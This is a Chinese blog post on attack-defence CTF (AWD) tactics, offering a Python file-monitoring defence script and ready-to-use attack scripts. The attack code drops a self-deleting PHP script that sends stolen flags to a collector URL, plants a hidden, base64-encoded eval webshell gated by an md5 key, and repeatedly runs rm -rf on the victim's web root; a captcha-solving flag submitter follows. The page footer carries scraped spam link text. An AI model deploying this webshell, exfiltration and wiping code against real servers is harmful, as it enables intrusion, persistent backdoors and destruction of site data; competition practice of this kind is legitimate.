<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          AWD的攻與防(附攻防腳本)

          共 7444字,需瀏覽 15分鐘

           ·

          2021-07-07 18:00

          先說幾點(diǎn)經(jīng)驗(yàn):


          1、分配的是ctf低權(quán)限賬號,但是中間件運(yùn)行的是www-data權(quán)限,通常比ctf權(quán)限高,有些馬用ssh上去刪不掉,可以先傳個自己的shell然后去刪,當(dāng)然得做一個防止被偷家的措施,比如說加一個if ("xxx"===md5(key))的操作。也可以用www-data去對文件和目錄做權(quán)限的修改等操作。


          2、黑吃黑,直接用別的隊(duì)伍上傳的shell。


          3、不是特別大型的比賽沒有那么多的時間去審漏洞,通常用nday直接打,或者內(nèi)置的shell后門。


          4、批量拿flag并自動提交平臺;自動備份與恢復(fù)自己的靶機(jī)文件。


          主要放兩個腳本,一個攻一個防,網(wǎng)上找了很多都感覺多多少少有點(diǎn)問題。


          AWD線下賽防守腳本:

          1.該腳本基于python,可直接在linux靶機(jī)上運(yùn)行。

          2.開局直接運(yùn)行起來,會自動對web目錄進(jìn)行備份,并建立hash索引。當(dāng)web目錄下有文件被刪除或者被篡改的時候,會自動從備份中恢復(fù)文件。如果存在其他文件上傳,會自動刪除。

          3.無法避免的缺點(diǎn):由于條件競爭,如果對方在我們刪除shell之前就已經(jīng)在內(nèi)存中開始生成不死馬了,還是有一定幾率淪陷。

          # -*- coding: utf-8 -*-## awd文件監(jiān)控腳本# author:說書人import osimport jsonimport timeimport hashlib

          def ListDir(path): # 獲取網(wǎng)站所有文件
          for file in os.listdir(path): file_path = os.path.join(path, file) if os.path.isdir(file_path): if initialization['ok'] == 'false': dir_list.append(file_path) else: dir_list_tmp.append(file_path) ListDir(file_path) else: if initialization['ok'] == 'false': file_list.append(file_path) else: file_list_tmp.append(file_path)

          def GetHash(): # 獲取hash,建立索引 for bak in file_list: with open(bak, 'rb') as f: md5obj = hashlib.md5() md5obj.update(f.read()) hash = md5obj.hexdigest() bak_dict[bak] = hash if os.path.exists('/tmp/awd_web_hash.txt') == False: os.system('mkdir /tmp/awd_web_bak/') os.system('\\cp -a {0}* /tmp/awd_web_bak/'.format(web_dir)) with open('/tmp/awd_web_hash.txt', 'w') as f: # 記錄web文件hash f.write(str(json.dumps(bak_dict))) for i in file_list: # 記錄web文件列表 with open('/tmp/awd_web_list.txt', 'a') as f: f.write(i + '\n') for i in dir_list: # 記錄web目錄列表 with open('/tmp/awd_web_dir.txt', 'a') as f: f.write(i + '\n')

          def FileMonitor(): # 文件監(jiān)控 # 提取當(dāng)前web目錄狀態(tài) initialization['ok'] = 'true' for file in os.listdir(web_dir): file_path = os.path.join(web_dir, file) if os.path.isdir(file_path): dir_list_tmp.append(file_path) ListDir(file_path) else: file_list_tmp.append(file_path) for file in file_list_tmp: with open(file, 'rb') as f: md5obj = hashlib.md5() md5obj.update(f.read()) hash = md5obj.hexdigest() bak_dict_tmp[file] = hash with open('/tmp/awd_web_hash.txt', 'r') as f: # 讀取備份的文件hash real_bak_dict = json.loads(f.read()) with open('/tmp/awd_web_list.txt', 'r') as f: # 讀取備份的文件列表 real_file_list = f.read().split('\n')[0:-1] with open('/tmp/awd_web_dir.txt', 'r') as f: # 讀取備份的目錄列表 real_dir_list = f.read().split('\n')[0:-1]
          for dir in real_dir_list: # 恢復(fù)web目錄 try: os.makedirs(dir) print("[del-recover]dir:{}".format(dir)) except: pass
          for file in file_list_tmp: try: if real_bak_dict[file] != bak_dict_tmp[file]: # 檢測被篡改的文件,自動恢復(fù) os.system('\\cp {0} {1}'.format(file.replace(web_dir, '/tmp/awd_web_bak/'), file)) print("[modify-recover]file:{}".format(file)) except: # 檢測新增的文件,自動刪除 os.system('rm -rf {0}'.format(file)) print("[delete]webshell:{0}".format(file))
          for real_file in real_file_list: # 檢測被刪除的文件,自動恢復(fù) if real_file not in file_list_tmp: os.system('\\cp {0} {1}'.format(real_file.replace(web_dir, '/tmp/awd_web_bak/'), real_file)) print("[del-recover]file:{0}".format(real_file)) file_list_tmp[:] = [] dir_list_tmp[:] = []

          os.system("rm -rf /tmp/awd_web_hash.txt /tmp/awd_web_list.txt /tmp/awd_web_dir.txt /tmp/awd_web_bak/")web_dir = "/var/www/" # web目錄,注意最后要加斜杠file_list = []dir_list = []bak_dict = {}file_list_tmp = []dir_list_tmp = []bak_dict_tmp = {}initialization = {'ok': 'false'}ListDir(web_dir)GetHash()while True: print(time.ctime()+" 安全") FileMonitor() time.sleep(1) # 監(jiān)控間隔,按需修改




          AWD線下賽攻擊腳本:

          (1)內(nèi)存馬&自動獲取刷新的flag

          該腳本功能:

          1.該腳本為內(nèi)存腳本,訪問一下就自刪除,不留痕跡。

          2.自動讀取flag,并將flag提交到指定地址,會自動檢測是否更新flag,只有更新了flag才會提交,需要在腳本中修改flag物理路徑。

          3.會生成不死馬,不死馬具有隱藏和欺騙功能。用蟻劍訪問http://xxx/.c403d59fea33113df44d465aeec336ab.php?key=ssr2021shuoshurenmd5,密碼為a。

          木馬原始代碼如下(只要別人不知道key,就沒辦法黑吃黑):

          <?php $key=$_GET["key"];$keyhash=md5($key);if($keyhash==="c403d59fea33113df44d465aeec336ab") {    eval($_POST["a"]);}echo"file not find.";?>

          這個只作為備用連接,flag正常自己提交過來的話就不用管。

          4.該腳本會不斷刪除目標(biāo)的網(wǎng)站源碼,別人扣分等于我們加分。

          5.腳本命名必須為awd2021.php,若要修改的話需要同步修改下面代碼中的文件名。

          <?phpfunction send_post($url, $post_data) {    $postdata = http_build_query($post_data);    $options = array(            'http' => array(              'method' => 'POST',              'header' => 'Content-type:application/x-www-form-urlencoded',              'content' => $postdata,              'timeout' => 15 * 60             )          );    $context = stream_context_create($options);    $result = file_get_contents($url, false, $context);    return $result;}$flag_tmp="flag{xxx}";@unlink ("awd2021.php");while (True) {    $flag=system("cat flag.txt");    $data=array(          'flag' => $flag        );    if ($flag!=$flag_tmp) {        send_post('http://127.0.0.1/getflag.php', $data);    }    $flag_tmp=$flag;    $shell=base64_decode("PD9waHAgJGtleT0kX0dFVFsia2V5Il07CiRrZXloYXNoPW1kNSgka2V5KTsKaWYoJGtleWhhc2g9PT0iYzQwM2Q1OWZlYTMzMTEzZGY0NGQ0NjVhZWVjMzM2YWIiKSB7CglldmFsKCRfUE9TVFsiYSJdKTsKfQplY2hvImZpbGUgbm90IGZpbmQuIjsKPz4=");    if (file_exists(".c403d59fea33113df44d465aeec336ab.php")==0) {        file_put_contents(".c403d59fea33113df44d465aeec336ab.php", $shell, FILE_APPEND);    }    system("rm -rf /var/www/html/* !(.c403d59fea33113df44d465aeec336ab.php)");}?>

          (2)服務(wù)端接收flag

          1.按照往年比賽經(jīng)驗(yàn),靶機(jī)和我們的電腦是互通的,這個腳本可以本機(jī)開一個phpstudy跑起來,若不通的話直接放自己的靶機(jī)服務(wù)器上。

          2.這個腳本默認(rèn)名字為getflag.php,如果修改的話需要修改內(nèi)存腳本中對應(yīng)的文件名。

          3.新的flag會源源不斷提交過來,在當(dāng)前目錄的shuoshuren_flag.txt里面。

          <?php$flag=$_POST["flag"];file_put_contents("shuoshuren_flag.txt", $flag."\n", FILE_APPEND);?>

          (3)自動提交flag腳本

          根據(jù)往年經(jīng)驗(yàn),flag提交平臺是有驗(yàn)證碼的,所以這個腳本調(diào)用了驗(yàn)證碼訓(xùn)練識別模型,達(dá)到自動化提交flag的目的,平臺沒有驗(yàn)證碼的話就不用識別。

          # AWD自動提交flag腳本# base python3# author:說書人import requestsimport base64import jsonimport time

          def GetPic(url): # 獲取驗(yàn)證碼并識別,這里會調(diào)用我本機(jī)的驗(yàn)證碼訓(xùn)練識別模型(refer:算命瞎子) pic_content=requests.get(url).content pic_base64=base64.b64encode(pic_content).decode() data='base64='+pic_base64 try: yzm=requests.post('http://192.168.3.103:8899/base64',data=data).text return yzm except: return 'yzm'

          def PostFlag(PostUrl,PicUrl,flag): # 提交flag with open(flag,'r') as f: flag_list=f.read().split('\n') headers={ #請求頭需要現(xiàn)場抓包 } for flag in flag_list: if flag in flag_list: print("{} 重復(fù)".format(flag)) else: GetYzm=GetPic(PicUrl) data = json.dumps({"請求體需要現(xiàn)場抓包,字典格式"}) try: res=requests.post(url=PostUrl,headers=headers,data=data) if '成功的標(biāo)識符' in res.text: print("{} 提交成功".format(flag)) flag_list_ok.append(flag) else: print("{} 提交失敗".format(flag)) except: print('其他錯誤')

          flag_list_ok=[]while True: PostFlag("提交flag的請求地址","flag平臺驗(yàn)證碼的地址","shuoshuren_flag.txt") time.sleep(300)#休息5分鐘,可以按需修改




          之前的知識星球停止運(yùn)營了,原因較多不再累述,新的星球打算重新運(yùn)營起來,之前的付費(fèi)用戶,不論支付了多少或者在不在有效期,均可以憑付款憑證免費(fèi)加入新的星球,具體操作見原星球置頂說明。


          主題可預(yù)覽、三天可退款,感謝各位支持。


          瀏覽 173
          點(diǎn)贊
          評論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報
          評論
          圖片
          表情
          推薦
          點(diǎn)贊
          評論
          收藏
          分享

          手機(jī)掃一掃分享

          分享
          舉報
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  亚州无码人妻 | 精品欧美日韩视频在线 | 精品人妻一区二区三区奶水 | 91av在线观看视频五月天 | 国产主播91 |